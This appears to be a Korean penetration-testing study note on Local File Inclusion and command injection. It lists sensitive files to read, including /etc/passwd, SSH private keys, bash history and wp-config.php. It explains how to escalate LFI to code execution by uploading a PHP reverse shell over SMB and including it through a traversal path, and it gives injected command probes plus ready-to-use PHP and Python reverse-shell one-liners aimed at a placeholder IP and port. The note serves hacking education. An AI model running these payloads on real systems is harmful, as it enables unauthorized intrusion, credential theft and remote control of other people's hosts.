모의해킹
호스트기반모의해킹_26_웹 취약점 공격(LFI&CI)
작성자 : Heehyeon Yoo|2025-12-07
# 모의해킹# LFI# Command Injection# RCE# Python One-Liner
1. LFI(Local File Inclusion) 공격
1.1 정보 수집(Information Gathering)
LFI 취약점을 통해 단순 파일 읽기를 넘어 시스템 장악을 위한 정찰(Recon)을 수행한다.
- 사용자 식별:
/etc/passwd읽기.UID >= 1000인 사용자(예:groot,ubuntu) 식별 -> 실제 사람이 사용하는 계정일 확률 높음.
- 흔적 찾기:
~/.bash_history또는~/.ssh/id_rsa(Private Key) 탈취 시도.- 비밀번호 없이 SSH 로그인(
ssh -i id_rsa ...) 가능.
- 설정 파일 열람:
- MySQL:
/etc/mysql/my.cnf(포트, 경로 확인) - WordPress:
wp-config.php(DB접속 계정 정보) - Samba:
/etc/samba/smb.conf(실제 파일 경로 매핑 확인, 예:[sambashare]->/var/samba)
- MySQL:
1.2 RCE로 연계(LFI to RCE)
단순 파일 읽기에서 쉘 실행 권한 획득으로 확장한다.
- SMB/FTP + LFI:
- 삼바(SMB)나 FTP에 쓰기 권한이 있다면 리버스 쉘 파일(
php-reverse-shell.php) 업로드. - LFI로 해당 파일 경로를 include하여 실행.(
?file=../../var/samba/shell.php)
- 삼바(SMB)나 FTP에 쓰기 권한이 있다면 리버스 쉘 파일(
2. Command Injection 공격
2.1 검증 및 정찰
웹 애플리케이션이 ping과 같은 OS 명령어를 실행할 때, 메타 문자를 주입하여 시스템 명령어를 실행한다.
- 사전 확인: 쉘 실행 전 대상 시스템 환경을 파악해야 한다.
php -h,python3 -h등을 주입하여 해당 인터프리터 설치 여부 확인.- Stderr Redirection: 명령 결과가 보이지 않을 땐
2>&1을 추가하여 에러 메시지까지 출력하도록 유도.(ping 127.0.0.1; python3 -h 2>&1)
2.2 리버스 쉘(One-Liner Execution)
파일 업로드 없이 즉시 메모리 상에서 쉘을 실행한다.(URL Encoding 필수)
- PHP One-Liner:
php -r '$sock=fsockopen("[IP]",[PORT]);exec("/bin/sh -i <&3 >&3 2>&3");' - Python One-Liner:
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("[IP]",[PORT]));[os.dup2(s.fileno(),fd) for fd in(0,1,2)];pty.spawn("/bin/sh")' - 주의: 웹 브라우저 URL에 입력 시
&,;, 공백 등을 반드시 URL 인코딩해야 한다.